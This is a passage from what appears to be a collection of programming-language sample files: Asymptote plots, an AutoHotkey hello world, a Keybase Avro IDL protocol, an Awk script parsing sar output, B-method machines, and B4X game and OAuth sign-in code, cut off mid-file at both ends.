p=rgb(0,0,.7);\n\ntriple f2(pair t) {return (t.x,(.41*(t.x-.9)+.78)*sin(t.y),(.41*(t.x-.9)+.78)*cos(t.y));}\nsurface s2=surface(f2,(.9,0),(1.4,2*pi),2,16,Spline);\ndraw(s2,emissive(rgb(.6,.6,1)+opacity(.7)),meshpen=p);\n\ntriple g3(real t) {return (t,sin(t),0);}\npath3 p3=graph(g3,.5,1.9,operator ..);\ndraw(p3,blue+.4mm);\n\ntriple g3(real t) {return (.9,.78*sin(t),.78*cos(t));}\npath3 p3=graph(g3,0,2*pi,operator ..);\ndraw(p3,blue+.2mm);\n\ntriple g3(real t) {return (1.4,.985*sin(t),.985*cos(t));}\npath3 p3=graph(g3,0,2*pi,operator ..);\ndraw(p3,blue+.2mm);\n\ndraw((.9,.78,0)--(1.4,.985,0),red+.6mm);\n\ndraw((.5,.05,0)--(.5,-.05,0),black+.2mm);\nlabel(\"$a$\",(.5,-.05,0),S);\n\ndraw((1.9,.05,0)--(1.9,-.05,0),black+.2mm);\nlabel(\"$b$\",(1.9,-.05,0),S);\n\ndraw((.9,.05,0)--(.9,-.05,0),black+.2mm);\nlabel(\"$x_i$\",(.9,-.05,0),S);\n\ndraw((1.4,.05,0)--(1.4,-.05,0),black+.2mm);\nlabel(\"$x_{i+1}$\",(1.4,-.05,0),S);\n\nlabel(XY*\"$\\left.\\rule{0pt}{40pt}\\right\\}\\ R$\",(1.4,.49,0),E,Embedded);\nlabel(XY*\"$r\\left\\{\\rule{0pt}{30pt}\\right.$\",(.85,.37,0),W,Embedded);\nlabel(rotate(20,(0,0,1))*\"$\\overbrace{\\rule{41pt}{0pt}}^{\\text{\\normalsize \\textit{L}}}$\",(1.1,1.03,0),Embedded);\n\n// ////////////////////////////////////\n//    SAMPLE CODE\n\n// defaultpen(fontsize(10pt));\n\n//real f(pair z) {return -z.x^4+2*z.x^2-z.y^4+2*z.y^2;}\n//surface s=surface(f,(-1.5,-1.5),(1.5,1.5),Spline);\n//pen p=rgb(0,0,.7);\n//draw(s,rgb(.6,.6,1)+opacity(.7),meshpen=p);\n\n//triple f(pair t) {\n//  return (cos(t.x)*1.5*cos(t.y),sin(t.x)*cos(t.y),sin(t.y));\n//}\n//surface s=surface(f,(0,0),(pi,2*pi),8,8,Spline);\n//pen p=rgb(0,0,.7);\n//draw(s,rgb(.6,.6,1)+opacity(.7),meshpen=p);\n\n//draw(s,paleblue);\n//draw(s,lightblue,meshpen=black+thick(),nolight,render(merge=true));\n//draw(mypath,2bp+blue);\n\n//triple g(real t) {return (t,t,-2*t^4+4*t^2);}\n//path3 mypath=graph(g,-1,1,operator ..);\n//draw(mypath,blue+dashed+linewidth(2));\n\n//pen p=rgb(0,0,1);\n//draw(s,paleblue+opacity(.5),meshpen=p,render(merge=true));\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "samples/Asymptote/kappa-sawteeth.asy",
    "content": "import wtk_graph;\n\nsize(15cm,10cm,IgnoreAspect);\n\nscale(Linear, Linear);\nreal xscale=1e9;\nreal fscale=1e12;\n\nvoid graphSawtooth(string file=\"datafile\", real k,\n                   int xcol=0, int fcol=1,\n                   real xscale=1, real fscale=1, real dx=0, real df=0,\n                   pen p=red, string t=\"Title\") {\n  file fin=input(file).line();\n  real[][] a=fin.dimension(0,0);\n  a=transpose(a);\n  real[] x=a[xcol];\n  real[] f=a[fcol];\n  x = x - f/k; /* Remove cantilever extension */\n  graphData(x=x, y=f, xscale=xscale, yscale=fscale,\n            dx=dx, dy=df, p=p, t=t, dots=false);\n}\n\nreal[] k = {0.001, 0.01, 0.05, 0.1, 0.5, 1, 10};\npen[] p = {blue, green, red, cyan, magenta, yellow, black};\n\nint i;\nfor (i=k.length-1; i>=0; --i) {/* count down so legend and plot orders match */\n  string file = format(\"k-%f\", k[i])+\".\"+\"dat\";\n  /* We break up .dat so the Asymptote scanner doesn't pick up\n   * .dat as a dependency (which obviously doesn't exist). */\n  string label = math(\"k=\"+units(format(\"%f\",k[i]*1e3), \"pN/nm\"));\n  if (k[i] >= 1)\n    label = math(\"k=\"+units(format(\"%f\",k[i]),\"nN/nm\"));\n  // TODO: rainbow pen(N, i)\n  graphSawtooth(file=file, k=k[i], xscale=xscale, fscale=fscale,\n                df=300e-12*i, p=p[i], t=label);\n}\n\nxlimits(0, 300e-9*xscale, crop=true);\nxaxis(sLabel(\"Distance (nm) ($x_t-x_c$)\"), BottomTop, LeftTicks);\nyaxis(sLabel(\"Force (pN)\"), LeftRight, RightTicks);\nlabel(sLabel(\"Simulated force curves\"), point(N), N);\n\nadd(legend(), point(E), 20E);\n//add(lengend(). point(E), 20E); //, UnFill);\n"
  },
  {
    "path": "samples/AutoHotkey/hello.ahk",
    "content": "MsgBox, Hello`, World!\n"
  },
  {
    "path": "samples/Avro IDL/user.avdl",
    "content": "@namespace(\"keybase.1\")\nprotocol user {\n  import idl \"common.avdl\";\n\n  record TrackProof {\n    string proofType;\n    string proofName;\n    string idString;\n  }\n\n  record WebProof {\n    string hostname;\n    array<string> protocols;\n  }\n\n  record Proofs {\n    array<TrackProof> social;\n    array<WebProof> web;\n    array<PublicKey> publicKeys;\n  }\n\n  record UserSummary {\n    UID uid;\n    string username;\n    string fullName;\n    union { null, LinkID } linkID;\n  }\n\n  record UserSummarySet {\n    array<UserSummary> users;\n    Time time;\n    int version;\n  }\n\n  /**\n    listTracking gets verified data from the tracking statements in the user's\n    sigchain. However, it does not check to make sure the tracked users have\n    not reset since the track statement.\n\n    If assertion is empty, it will use the current logged in user.\n    */\n  UserSummarySet listTracking(int sessionID, string filter, string assertion);\n  string listTrackingJSON(int sessionID, string filter, boolean verbose, string assertion);\n\n  /**\n    listTrackersUnverified returns the users following the given user, and is unverified\n    and server-trust.\n  */\n  UserSummarySet listTrackersUnverified(int sessionID, string assertion);\n\n  @typedef(\"string\")\n  record EmailAddress {}\n\n  record Email {\n    EmailAddress email;\n    boolean isVerified;\n    boolean isPrimary;\n    IdentityVisibility visibility;\n    UnixTime lastVerifyEmailDate;\n  }\n\n  record UserSettings {\n    array<Email> emails;\n    array<UserPhoneNumber> phoneNumbers;\n  }\n\n  /**\n    Load a user from the server.\n    */\n  User loadUser(int sessionID, UID uid);\n  User loadUserByName(int sessionID, string username);\n\n  /**\n    Load a user + device keys from the server.\n    */\n  UserPlusKeys loadUserPlusKeys(int sessionID, UID uid, KID pollForKID);\n  UserPlusKeysV2AllIncarnations loadUserPlusKeysV2(\n    int sessionID,\n    UID uid,\n    KID pollForKID,\n    OfflineAvailability oa\n  );\n\n  /**\n    Load public keys for a user.\n    */\n  array<PublicKey> loadPublicKeys(int sessionID, UID uid);\n\n  /**\n    Load my public keys (for logged in user).\n    */\n  array<PublicKey> loadMyPublicKeys(int sessionID);\n\n  /**\n    Load user settings (for logged in user).\n    */\n  UserSettings loadMySettings(int sessionID);\n\n  /**\n    Load all the user's public keys (even those in reset key families)\n    from the server with no verification\n    */\n  array<PublicKey> loadAllPublicKeysUnverified(int sessionID, UID uid);\n\n  void profileEdit(int sessionID, string fullName, string location, string bio);\n\n  record InterestingPerson {\n    UID uid;\n    string username;\n    string fullname;\n    map<string, string> serviceMap;\n  }\n  array<InterestingPerson> interestingPeople(int maxUsers, string namespace);\n\n  UserVersion meUserVersion(int sessionID, boolean forcePoll);\n\n  /**\n   getUPAK returns a UPAK. Used mainly for debugging.\n  */\n  @lint(\"ignore\")\n  UPAKVersioned getUPAK(UID uid, boolean unstubbed);\n\n  /**\n   getUPAKLite returns a UPKLiteV1AllIncarnations. Used mainly for debugging.\n  */\n  @lint(\"ignore\")\n  UPKLiteV1AllIncarnations getUPAKLite(UID uid);\n\n  void uploadUserAvatar(string filename, union { null, ImageCropRect } crop);\n\n  ProofSuggestionsRes proofSuggestions(int sessionID);\n  record ProofSuggestionsRes{\n    array<ProofSuggestion> suggestions;\n    boolean showMore;\n  }\n\n  // A proof the user doesn't have.\n  record ProofSuggestion {\n    string key;\n    boolean belowFold;\n    string profileText; // \"Prove your Twitter\", \"Add a PGP key\"\n    array<SizedImage> profileIcon;\n    array<SizedImage> profileIconDarkmode;\n    string pickerText; // \"Twitter\", \"Your own website\", \"octodon.xyz\"\n    string pickerSubtext; // \"twitter.com\", \"Mastodon instance\"\n    array<SizedImage> pickerIcon;\n    array<SizedImage> pickerIconDarkmode;\n    array<Identify3RowMeta> metas; // for 'new' proof types\n  }\n\n  record NextMerkleRootRes {\n    union { null, MerkleRootV2 } res;\n  }\n\n  /**\n   FindNextMerkleRootAfterRevoke finds the first Merkle Root that contains the UID/KID\n   revocation at the given SigChainLocataion. The MerkleRootV2 prev is a hint as to where\n   we'll start our search. Usually it's the next one, but not always\n  */\n  NextMerkleRootRes findNextMerkleRootAfterRevoke(UID uid, KID kid, SigChainLocation loc, MerkleRootV2 prev);\n\n  /**\n   FindNextMerkleRootAfterReset finds the first Merkle root that contains the UID reset\n   at resetSeqno. You should pass it prev, which was the last known Merkle root at the time of\n   the reset. Usually, we'll just turn up the next Merkle root, but not always.\n  */\n  NextMerkleRootRes findNextMerkleRootAfterReset(UID uid, Seqno resetSeqno, ResetMerkleRoot prev);\n\n  /**\n   PassphraseState values are used in .config.json, so should not be changed without a migration strategy\n  */\n  enum PassphraseState {\n    KNOWN_0,\n    RANDOM_1\n  }\n\n  record CanLogoutRes {\n    boolean canLogout;\n    string reason;\n    PassphraseState passphraseState;\n  }\n  CanLogoutRes canLogout(int sessionID);\n\n  PassphraseState loadPassphraseState(int sessionID);\n\n  union { null, UserCard } userCard(int sessionID, string username, boolean useSession);\n\n  // user.passphrase_state gregor message body\n  @lint(\"ignore\")\n  record UserPassphraseStateMsg {\n    @jsonkey(\"state\")\n    PassphraseState passphraseState;\n  }\n\n  record UserBlockedRow {\n    @jsonkey(\"block_uid\")\n    UID uid;\n    @jsonkey(\"block_username\")\n    string username;\n    @jsonkey(\"chat\")\n    union { null, boolean } chat;\n    @jsonkey(\"follow\")\n    union { null, boolean } follow;\n  }\n\n  enum UserBlockType {\n    CHAT_0,\n    FOLLOW_1\n  }\n\n  // user.blocked gregor message body\n  record UserBlockedBody {\n    @jsonkey(\"blocks\")\n    array<UserBlockedRow> blocks;\n    // The user who blocked (should be the currently logged-in user).\n    @jsonkey(\"blocker_uid\")\n    UID uid;\n    @jsonkey(\"blocker_username\")\n    string username;\n  }\n\n  record UserBlockState {\n    UserBlockType blockType;\n    boolean blocked;\n  }\n\n  record UserBlockedSummary {\n    string blocker;\n    map<string, array<UserBlockState>> blocks;\n  }\n\n  // User Blocking\n\n  record UserBlock {\n    string username;\n    boolean chatBlocked;\n    boolean followBlocked;\n    union { null, Time } createTime;\n    union { null, Time } modifyTime;\n  }\n\n  record UserBlockArg {\n    string username;\n    union { null, boolean } setChatBlock;\n    union { null, boolean } setFollowBlock;\n  }\n\n  void setUserBlocks(int sessionID, array<UserBlockArg> blocks);\n  array<UserBlock> getUserBlocks(int sessionID, array<string> usernames);\n\n  void reportUser(int sessionID, string username, string reason, string comment,\n    boolean includeTranscript, union { null, string } convID);\n\n  void dismissBlockButtons(TLFID tlfID);\n\n  // Legacy user blocking:\n  void blockUser(string username);\n  void unblockUser(string username);\n\n  // Team blocking\n  record TeamBlock {\n    @jsonkey(\"fq_name\")\n    string teamName;\n    @jsonkey(\"ctime\")\n    Time createTime;\n  }\n\n  array<TeamBlock> getTeamBlocks(int sessionID);\n}\n"
  },
  {
    "path": "samples/Awk/test.awk",
    "content": "#!/bin/awk -f\n\nBEGIN {\n  # It is not possible to define output file names here because\n  # FILENAME is not define in the BEGIN section\n  n = \"\";\n  printf \"Generating data files ...\";\n  network_max_bandwidth_in_byte = 10000000;\n  network_max_packet_per_second = 1000000;\n  last3 = 0;\n  last4 = 0;\n  last5 = 0;\n  last6 = 0;\n}\n{\n  if ($1 ~ /Average/)\n    { # Skip the Average values\n      n = \"\";\n      next;\n    }\n\n  if ($2 ~ /all/)\n    { # This is the cpu info\n      print $3 > FILENAME\".cpu.user.dat\";\n#\t  print $4 > FILENAME\".cpu.nice.dat\";\n      print $5 > FILENAME\".cpu.system.dat\";\n#     print $6 > FILENAME\".cpu.iowait.dat\";\n      print $7 > FILENAME\".cpu.idle.dat\";\n      print 100-$7 > FILENAME\".cpu.busy.dat\";\n    }\n  if ($2 ~ /eth0/)\n    { # This is the eth0 network info\n      if ($3 > network_max_packet_per_second)\n\tprint last3 > FILENAME\".net.rxpck.dat\"; # Total number of packets received per second.\n      else\n\t{\n\t  last3 = $3;\n\t  print $3 > FILENAME\".net.rxpck.dat\"; # Total number of packets received per second.\n\t}\n      if ($4 > network_max_packet_per_second)\n\tprint last4 > FILENAME\".net.txpck.dat\"; # Total number of packets transmitted per second.\n      else\n\t{\n\t  last4 = $4;\n\t  print $4 > FILENAME\".net.txpck.dat\"; # Total number of packets transmitted per second.\n\t}\n      if ($5 > network_max_bandwidth_in_byte)\n\tprint last5 > FILENAME\".net.rxbyt.dat\"; # Total number of bytes received per second.\n      else\n\t{\n\t  last5 = $5;\n\t  print $5 > FILENAME\".net.rxbyt.dat\"; # Total number of bytes received per second.\n\t}\n      if ($6 > network_max_bandwidth_in_byte)\n\tprint last6 > FILENAME\".net.txbyt.dat\"; # Total number of bytes transmitted per second.\n      else\n\t{\n\t  last6 = $6;\n\t  print $6 > FILENAME\".net.txbyt.dat\"; # Total number of bytes transmitted per second.\n\t}\n#     print $7 > FILENAME\".net.rxcmp.dat\"; # Number of compressed packets received per second (for cslip etc.).\n#     print $8 > FILENAME\".net.txcmp.dat\"; # Number of compressed packets transmitted per second.\n#     print $9 > FILENAME\".net.rxmcst.dat\"; # Number of multicast packets received per second.\n    }\n\n  # Detect which is the next info to be parsed\n  if ($2 ~ /proc|cswch|tps|kbmemfree|totsck/)\n    {\n      n = $2;\n    }\n\n  # Only get lines with numbers (real data !)\n  if ($2 ~ /[0-9]/)\n    {\n      if (n == \"proc/s\")\n\t{ # This is the proc/s info\n\t  print $2 > FILENAME\".proc.dat\";\n#\t  n = \"\";\n\t}\n      if (n == \"cswch/s\")\n\t{ # This is the context switches per second info\n\t  print $2 > FILENAME\".ctxsw.dat\";\n#\t  n = \"\";\n\t}\n      if (n == \"tps\")\n\t{ # This is the disk info\n\t  print $2 > FILENAME\".disk.tps.dat\"; # total transfers per second\n\t  print $3 > FILENAME\".disk.rtps.dat\"; # read requests per second\n\t  print $4 > FILENAME\".disk.wtps.dat\"; # write requests per second\n\t  print $5 > FILENAME\".disk.brdps.dat\"; # block reads per second\n\t  print $6 > FILENAME\".disk.bwrps.dat\"; # block writes per second\n#\t  n = \"\";\n\t}\n      if (n == \"kbmemfree\")\n\t{ # This is the mem info\n\t  print $2 > FILENAME\".mem.kbmemfree.dat\"; # Amount of free memory available in kilobytes.\n\t  print $3 > FILENAME\".mem.kbmemused.dat\"; # Amount of used memory in kilobytes. This does not take into account memory used by the kernel itself.\n\t  print $4 > FILENAME\".mem.memused.dat\"; # Percentage of used memory.\n#         It appears the kbmemshrd has been removed from the sysstat output - ntolia\n#\t  print $X > FILENAME\".mem.kbmemshrd.dat\"; # Amount of memory shared by the system in kilobytes.  Always zero with 2.4 kernels.\n#\t  print $5 > FILENAME\".mem.kbbuffers.dat\"; # Amount of memory used as buffers by the kernel in kilobytes.\n\t  print $6 > FILENAME\".mem.kbcached.dat\"; # Amount of memory used to cache data by the kernel in kilobytes.\n#\t  print $7 > FILENAME\".mem.kbswpfree.dat\"; # Amount of free swap space in kilobytes.\n#\t  print $8 > FILENAME\".mem.kbswpused.dat\"; # Amount of used swap space in kilobytes.\n\t  print $9 > FILENAME\".mem.swpused.dat\"; # Percentage of used swap space.\n#\t  n = \"\";\n \t}\n      if (n == \"totsck\")\n\t{ # This is the socket info\n\t  print $2 > FILENAME\".sock.totsck.dat\"; # Total number of used sockets.\n\t  print $3 > FILENAME\".sock.tcpsck.dat\"; # Number of TCP sockets currently in use.\n#\t  print $4 > FILENAME\".sock.udpsck.dat\"; # Number of UDP sockets currently in use.\n#\t  print $5 > FILENAME\".sock.rawsck.dat\"; # Number of RAW sockets currently in use.\n#\t  print $6 > FILENAME\".sock.ip-frag.dat\"; # Number of IP fragments currently in use.\n#\t  n = \"\";\n \t}\n    }\n}\nEND {\n  print \" '\" FILENAME \"' done.\";\n}\n"
  },
  {
    "path": "samples/B (Formal Method)/Airlock.mch",
    "content": "/* Airlock\n * Author:\n * Creation date: 10/21/25\n */\nMACHINE\n    Airlock\nSEES\n    Airlock_pressure_bs\nSETS\n    PHASE = {ACQ, CTRL}\nVARIABLES\n    airlock_pressure1,\n    airlock_pressure2,\n    airlock_pressure3,\n    is_indoor_door_openable,\n    is_outdoor_door_openable,\n    cycle\nINVARIANT\n    airlock_pressure1 : PRESSURE &\n    airlock_pressure2 : PRESSURE &\n    airlock_pressure3 : PRESSURE &\n    is_indoor_door_openable : BOOL &\n    is_outdoor_door_openable : BOOL &\n    cycle : PHASE &\n    not(is_indoor_door_openable = TRUE & is_outdoor_door_openable = TRUE)\nINITIALISATION\n    airlock_pressure1 :: PRESSURE ||\n    airlock_pressure2 :: PRESSURE ||\n    airlock_pressure3 :: PRESSURE ||\n    is_indoor_door_openable := FALSE ||\n    is_outdoor_door_openable := FALSE ||\n    cycle := ACQ\nOPERATIONS\n\n    actualize_pressure =\n    PRE\n        cycle = ACQ\n    THEN\n        airlock_pressure1 :: PRESSURE ||\n        airlock_pressure2 :: PRESSURE ||\n        airlock_pressure3 :: PRESSURE ||\n        cycle := CTRL\n    END;\n\n    enable_doors_opening =\n    PRE\n        cycle = CTRL\n    THEN\n        is_indoor_door_openable, is_outdoor_door_openable: (\n            is_indoor_door_openable: BOOL &\n            is_outdoor_door_openable: BOOL &\n            (is_indoor_door_openable = TRUE => (indoor_pressure: {airlock_pressure1, airlock_pressure2, airlock_pressure3} & outdoor_pressure /: {airlock_pressure1, airlock_pressure2, airlock_pressure3})) &\n            (is_outdoor_door_openable = TRUE => (outdoor_pressure: {airlock_pressure1, airlock_pressure2, airlock_pressure3} & indoor_pressure /: {airlock_pressure1, airlock_pressure2, airlock_pressure3}))\n        ) ||\n        cycle := ACQ\n    END;\n\n    ret <-- get_airlock_pressure1 =\n    PRE\n        ret : PRESSURE\n    THEN\n        ret := airlock_pressure1\n    END;\n    ret <-- get_airlock_pressure2 =\n    PRE\n        ret : PRESSURE\n    THEN\n        ret := airlock_pressure2\n    END;\n    ret <-- get_airlock_pressure3 =\n    PRE\n        ret : PRESSURE\n    THEN\n        ret := airlock_pressure3\n    END;\n\n    ret <-- get_is_indoor_door_openable=\n    PRE\n        ret : BOOL\n    THEN\n        ret := is_indoor_door_openable\n    END;\n\n    ret <-- get_is_outdoor_door_openable=\n    PRE\n        ret : BOOL\n    THEN\n        ret := is_outdoor_door_openable\n    END;\n\n    ret <-- get_cycle =\n    PRE\n        ret : PHASE\n    THEN\n        ret := cycle\n    END\n\nEND\n"
  },
  {
    "path": "samples/B (Formal Method)/Leftpad.mch",
    "content": "// Created by Ilya Shchepetkov\n\nMACHINE Leftpad\n\n// Chars are modeled as some set. Strings are sequences of chars.\nSETS\n    Chars\n\nOPERATIONS\n\nresult ← leftpad(cc, nn, ss) =\n    // Precondition of the operation defines types of its parameters\n    PRE cc ∈ Chars ∧\n        nn ∈ ℕ ∧\n        ss ∈ seq(Chars)\n    THEN\n        // ANY allows to introduce a local variable\n        // and to constraint its possible values with a predicate\n        ANY vv WHERE\n            vv ∈ seq(Chars) ∧\n            // 1. The length of the output is max(n, len(str))\n            size(vv) = max({nn, size(ss)}) ∧\n            // 2. The prefix of the output is padding characters and nothing but padding characters\n            ∀ii . (ii ∈ ℕ ∧ ii ≥ 0 ∧ ii < nn - size(ss) ⇒ vv(ii + 1) = cc) ∧\n            // 3. The suffix of the output is the original string.\n            ∀ii . (ii ∈ ℕ ∧ ii ≥ 0 ∧ ii < size(ss) ⇒ vv(max({nn - size(ss), 0}) + ii + 1) = ss(ii + 1))\n        THEN\n            result := vv\n        END\n    END\n\nEND\n"
  },
  {
    "path": "samples/B4X/B4XMainPage.bas",
    "content": "﻿B4A=true\nGroup=Default Group\nModulesStructureVersion=1\nType=Class\nVersion=9.85\n@EndOfDesignText@\n#Region Shared Files\n#CustomBuildAction: folders ready, %WINDIR%\\System32\\Robocopy.exe,\"..\\..\\Shared Files\" \"..\\Files\"\n'Ctrl + click to sync files: ide://run?file=%WINDIR%\\System32\\Robocopy.exe&args=..\\..\\Shared+Files&args=..\\Files&FilesSync=True\n#End Region\n\n'Ctrl + click to export as zip: ide://run?File=%B4X%\\Zipper.jar&Args=Project.zip&VMArgs=-DZeroSharedFiles%3DTrue\n\nSub Class_Globals\n\tPrivate Root As B4XView\n\tPrivate xui As XUI\n\tPublic mGame As Game\nEnd Sub\n\nPublic Sub Initialize\n'\tB4XPages.GetManager.LogEvents = True\nEnd Sub\n\n'This event will be called once, before the page becomes visible.\nPrivate Sub B4XPage_Created (Root1 As B4XView)\n \t#if B4A or B4J\n    Root = Root1\n    #else if B4i\n\t'handle iPhone safe area\n\tRoot = xui.CreatePanel(\"\")\n\tRoot1.Color = xui.Color_Black\n\tRoot1.AddView(Root, 0, 0, Root1.Width, Root1.Height)\n    #end if\n\tIf Root.Width = 0 Or Root.Height = 0 Then\n\t\tWait For  B4XPage_Resize(Width As Int, Height As Int)\n\tEnd If\n\t#if B4i\n\tDim r As Rect = B4XPages.GetNativeParent(Me).SafeAreaInsets\n\tRoot.SetLayoutAnimated(0, r.Left, r.Top, Width - r.Right - r.Left, Height - r.Bottom - r.Top)\n    #end if\n\tmGame.Initialize(Root)\n\tmGame.Start\nEnd Sub\n\nPrivate Sub B4XPage_Resize (Width As Int, Height As Int)\n\tmGame.Resize\nEnd Sub\n\nPrivate Sub B4XPage_Appear\n\nEnd Sub\n\nPrivate Sub B4XPage_Disappear\n\tIf mGame.IsInitialized Then\n\t\tmGame.Pause\n\tEnd If\nEnd Sub"
  },
  {
    "path": "samples/B4X/OAuth.bas.bas",
    "content": "B4J=true\r\nGroup=Network\r\nModulesStructureVersion=1\r\nType=Class\r\nVersion=8.5\r\n@EndOfDesignText@\r\n#Event: SignedIn (Result As PLMResult)\r\nSub Class_Globals\r\n\tPrivate su As StringUtils\r\n\t#if B4A\r\n\tPrivate LastIntent As Intent\r\n\t#end if\r\n\t#if B4J\r\n\tPrivate serversock As ServerSocket\r\n\tPrivate fx As JFX\r\n\tPrivate port As Int = 51067\r\n\tPrivate astream As AsyncStreams\r\n\t#End if\r\n\tPrivate mCallback As Object\r\n\tPrivate mEventName As String\r\n\tPrivate packageName As String 'ignore\r\n\tPrivate CurrentlySignedInServer As PLMServer\r\nEnd Sub\r\n\r\nPublic Sub Initialize (Callback As Object, EventName As String)\r\n\tmCallback = Callback\r\n\tmEventName = EventName\r\n\t#if B4A\r\n\tpackageName = Application.PackageName\r\n\t#Else If B4i\r\n\tpackageName = GetPackageName\r\n\t#End If\r\nEnd Sub\r\n\r\nPublic Sub RegisterApp (Server As PLMServer) As ResumableSub\r\n\tDim j As HttpJob\r\n\tj.Initialize(\"\", Me)\r\n\tDim sb As StringBuilder\r\n\tsb.Initialize\r\n\tsb.Append(\"client_name=\").Append(su.EncodeUrl(Constants.AppName, \"UTF8\"))\r\n\tsb.Append(\"&redirect_uris=\").Append(su.EncodeUrl(GetRedirectUri, \"UTF8\"))\r\n\tsb.Append(\"&scopes=read+write+follow+push\")\r\n\tsb.Append(\"&website=\").Append(\"https://www.b4x.com\")\r\n\tDim res As PLMResult\r\n\tTry\r\n\t\tj.PostString(Server.URL & \"/api/v1/apps\", sb.ToString)\r\n\tCatch\r\n\t\tLog(LastException)\r\n\t\tReturn B4XPages.MainPage.CreatePLMResult(False, LastException)\r\n\tEnd Try\r\n\tWait For (j) JobDone (j As HttpJob)\r\n\tIf j.Success Then\r\n\t\tTry\r\n\t\t\tDim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)\r\n\t\t\tIf m.IsInitialized Then\r\n\t\t\t\tServer.AppClientId = m.Get(\"client_id\")\r\n\t\t\t\tServer.AppClientSecret = m.Get(\"client_secret\")\r\n\t\t\t\tLog(\"server client id and secret set.\")\r\n\t\t\t\tB4XPages.MainPage.PersistUserAndServers\r\n\t\t\t\tres = B4XPages.MainPage.CreatePLMResult2(True, \"\")\r\n\t\t\tEnd If\r\n\t\tCatch\r\n\t\t\tres = B4XPages.MainPage.CreatePLMResult(False, LastException)\r\n\t\t\tLog(LastException)\r\n\t\tEnd Try\r\n\tElse\r\n\t\tres = B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage)\r\n\tEnd If\r\n\tj.Release\r\n\tIf Server.AppClientSecret = \"\" Then res = B4XPages.MainPage.CreatePLMResult2(False, \"client secret empty\")\r\n\tReturn res\r\nEnd Sub\r\n\r\nPublic Sub SignIn (User As PLMUser, Server As PLMServer)\r\n\tDim link As String = BuildLink(Server.URL & \"/oauth/authorize\", _\r\n\t\t CreateMap(\"client_id\": Server.AppClientId, _\r\n\t\t\"redirect_uri\": GetRedirectUri, _\r\n\t\t\"response_type\": \"code\", \"scope\": \"read write follow push\"))\r\n\tB4XPages.MainPage.ShowExternalLink(link)\r\n\tCurrentlySignedInServer = Server\r\n\t#if B4J\r\n\tPrepareServer\r\n\t#end if\r\nEnd Sub\r\n\r\nPrivate Sub BuildLink(Url As String, Params As Map) As String\r\n\tDim sb As StringBuilder\r\n\tsb.Initialize\r\n\tsb.Append(Url)\r\n\tIf Params.Size > 0 Then\r\n\t\tsb.Append(\"?\")\r\n\t\tFor Each k As String In Params.Keys\r\n\t\t\tsb.Append(su.EncodeUrl(k, \"utf8\")).Append(\"=\").Append(su.EncodeUrl(Params.Get(k), \"utf8\"))\r\n\t\t\tsb.Append(\"&\")\r\n\t\tNext\r\n\t\tsb.Remove(sb.Length - 1, sb.Length)\r\n\tEnd If\r\n\tReturn sb.ToString\r\nEnd Sub\r\n\r\n#if B4J\r\nPrivate Sub PrepareServer\r\n\tIf serversock.IsInitialized Then serversock.Close\r\n\tIf astream.IsInitialized Then astream.Close\r\n\tDo While True\r\n\t\tTry\r\n\t\t\tserversock.Initialize(port, \"server\")\r\n\t\t\tserversock.Listen\r\n\t\t\tExit\r\n\t\tCatch\r\n\t\t\tport = port + 1\r\n\t\t\tLog(LastException)\r\n\t\tEnd Try\r\n\tLoop\r\n\tWait For server_NewConnection (Successful As Boolean, NewSocket As Socket)\r\n\tIf Successful Then\r\n\t\tastream.Initialize(NewSocket.InputStream, NewSocket.OutputStream, \"astream\")\r\n\t\tDim Response As StringBuilder\r\n\t\tResponse.Initialize\r\n\t\tDo While Response.ToString.Contains(\"Host:\") = False\r\n\t\t\tWait For AStream_NewData (Buffer() As Byte)\r\n\t\t\tResponse.Append(BytesToString(Buffer, 0, Buffer.Length, \"UTF8\"))\r\n\t\tLoop\r\n\t\tastream.Write((\"HTTP/1.0 200\" & Chr(13) & Chr(10)).GetBytes(\"UTF8\"))\r\n\t\tSleep(50)\r\n\t\tastream.Close\r\n\t\tserversock.Close\r\n\t\tParseBrowserUrl(Regex.Split2(\"$\",Regex.MULTILINE, Response.ToString)(0))\r\n\tEnd If\r\n\t\r\nEnd Sub\r\n#else if B4A\r\nPublic Sub CallFromResume(Intent As Intent)\r\n\tIf IsNewOAuth2Intent(Intent) Then\r\n\t\tLastIntent = Intent\r\n\t\tParseBrowserUrl(Intent.GetData)\r\n\tEnd If\r\nEnd Sub\r\n\r\nPrivate Sub IsNewOAuth2Intent(Intent As Intent) As Boolean\r\n\tReturn Intent.IsInitialized And Intent <> LastIntent And Intent.Action = Intent.ACTION_VIEW And _\r\n\t\tIntent.GetData <> Null And Intent.GetData.StartsWith(Application.PackageName)\r\nEnd Sub\r\n#else if B4I\r\nPublic Sub CallFromOpenUrl (url As String)\r\n\tIf url.StartsWith(packageName & \":/oath\") Then\r\n\t\tParseBrowserUrl(url)\r\n\tEnd If\r\n\tSleep(0)\r\n\tDim no As NativeObject = B4XPages.MainPage.safari\r\n\tno = no.GetField(\"safari\")\r\n\tIf no.IsInitialized Then\r\n\t\tno.RunMethod(\"dismissViewControllerAnimated:completion:\", Array(True, Null))\r\n\tEnd If\r\nEnd Sub\r\n\r\nPrivate Sub GetPackageName As String\r\n\tDim no As NativeObject\r\n\tno = no.Initialize(\"NSBundle\").RunMethod(\"mainBundle\", Null)\r\n\tDim name As Object = no.RunMethod(\"objectForInfoDictionaryKey:\", Array(\"CFBundleIdentifier\"))\r\n\tReturn name\r\nEnd Sub\r\n\r\n#end if\r\n\r\nPrivate Sub ParseBrowserUrl(Response As String)\r\n\tDim m As Matcher = Regex.Matcher(\"code=([^&\\s]+)\", Response)\r\n\tIf m.Find Then\r\n\t\tDim code As String = m.Group(1)\r\n\t\tGetTokenFromAuthorizationCode(code)\r\n\tElse\r\n\t\tLog(\"Error parsing server response: \" & Response)\r\n\t\tRaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, \"Error parsing server response: \" & Response))\r\n\tEnd If\r\nEnd Sub\r\n\r\nPrivate Sub GetTokenFromAuthorizationCode (Code As String)\r\n\tDim user As PLMUser = B4XPages.MainPage.User\r\n\tDim server As PLMServer = CurrentlySignedInServer\r\n\tLog(Code)\r\n\tLog(\"Getting access token from authorization code...\")\r\n\tDim j As HttpJob\r\n\tj.Initialize(\"\", Me)\r\n\tDim postString As String = $\"code=${Code}&client_id=${server.AppClientId}&grant_type=authorization_code&redirect_uri=${su.EncodeUrl(GetRedirectUri, \"UTF8\")}\"$\r\n\tpostString = postString & $\"&client_secret=${server.AppClientSecret}&scope=read+write+follow+push\"$\r\n\tj.PostString(server.URL & \"/oauth/token\", postString)\r\n\tWait For (j) JobDone(j As 